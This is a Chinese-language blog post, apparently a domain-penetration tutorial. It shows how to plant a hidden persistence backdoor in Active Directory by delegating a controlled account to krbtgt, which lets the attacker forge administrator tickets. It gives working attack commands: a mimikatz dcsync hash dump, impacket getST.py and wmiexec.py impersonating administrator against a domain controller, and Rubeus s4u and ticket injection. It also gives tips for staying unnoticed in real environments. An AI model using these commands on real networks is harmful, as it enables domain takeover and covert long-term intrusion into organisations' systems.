目录
选择控制的用户
已经存在的有SPN的域用户
自己创建的机器账号
自己创建的域用户然后赋予SPN
利用约束性委派打造隐蔽后门(权限维持)
利用基于资源的约束委派打造隐蔽后门(权限维持)
在Kali上使用impacket进行攻击
在Win7上使用Rubeus进行攻击
关于委派以及委派的一些攻击手法,传送门:域渗透之委派攻击
如果这里我们假设服务B为krbtgt,服务A为我们控制的一个账号。配置服务A到服务B的约束性委派或者基于资源的约束性委派,那么我们控制的账户就可以获取KDC(Key Distribution Centre)服务的ST服务票据(也就是TGT认购权证)。于是我们就可以伪造任何权限用户的TGT认购权证,来打造一个变种的黄金票据了
选择控制的用户
这里我们配置krbtgt允许服务A基于资源的约束委派。这里的服务A我们可以有以下几类:
1. 已经存在的有SPN的域用户
2. 自己创建的机器账号,但是要注意计算机账号密码的自动更新问题
3. 自己创建的域用户然后赋予SPN
在实战中,建议用第一种已经存在SPN的域用户,因为这样可以避免新建用户,实现动静最小化。
使用以下命令我们可以寻找具备SPN并且密码永不过期的用户账户。但是由于我们是测试环境,所以未配置该类型的账号。真实的企业环境中这种情况非常常见,比如许多服务账户就会满足这种条件。
Get-ADUser -Filter * -Properties ServicePrincipalName,PasswordNeverExpires | ?{($_ServicePrincipalName -ne "") -and ($_.PasswordNeverExpires -eq $true)}
这里比如我们找到了test用户属于这种要求,然后使用mimikatz的以下命令导出test用户的hash值,用于之后的攻击。
mimikatz "lsadump::dcsync /domain:xie.com /user:test"
我们可以自己创建一个机器账号ServiceA
这种方法有唯一一个限制条件:计算机账户密码的自动更新问题。(默认情况下)每隔30天,计算机账户密码就会自动更新,对应的凭据也会发生变化,使后门失去作用。攻击者可以使用如下方法禁止该账号密码自动更新。
我们还可以自己创建一个域用户,然后赋予SPN
我们控制的用户选择的是自己创建的 test 域用户。
· 域控:win2008 192.168.10.131
· 域:xie.com
· 攻击机:Kali
首先修改 kali 的/etc/hosts/文件,添加如下内容
192.168.10.131 win2008
192.168.10.131 xie.com
然后在域控上配置test用户到krbtgt用户的约束性委派。
在Kali上进行攻击
./getST.py -dc-ip 192.168.10.131 -spn krbtgt/XIE.COM -impersonate administrator xie.com/test:x123456.\/
export KRB5CCNAME=administrator.ccache
./wmiexec.py -no-pass -k administrator@win2008 -dc-ip 192.168.10.131
· 域控:Win2012 192.168.10.24
· 域成员主机:Win7 192.168.10.130
· 普通域用户:xie\hack
首先修改 kali 的/etc/hosts/文件,添加如下内容
192.168.10.24 win2012
192.168.10.24 xie.com
配置基于资源的约束委派
这里我们用刚刚新建的test用户作为服务A,配置用户 test 到 krbtgt 的基于资源的约束委派
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
./getST.py -dc-ip 192.168.10.24 -spn krbtgt -impersonate administrator xie.com/test:x123456.\/
export KRB5CCNAME=administrator.ccache
./wmiexec.py -no-pass -k administrator@win2012 -dc-ip 192.168.10.24
现在我们在Win7上用普通域用户 xie\hack 使用Rubeus进行基于资源的约束性委派攻击
这下面的rc4是刚刚新建的test用户的密码哈希,我们也可以使用aes256来进行认证。服务我们设置为 krbtgt
Rubeus.exe s4u /user:test /rc4:b98e75b5ff7a3d3ff05e07f211ebe7a8 /domain:xie.com /msdsspn:krbtgt /impersonateuser:administrator
导入票据,访问域控
Rubeus.exe ptt /ticket:票据
参考文章:https://www.anquanke.com/post/id/170535
来源:谢公子的博客
责编:凉粉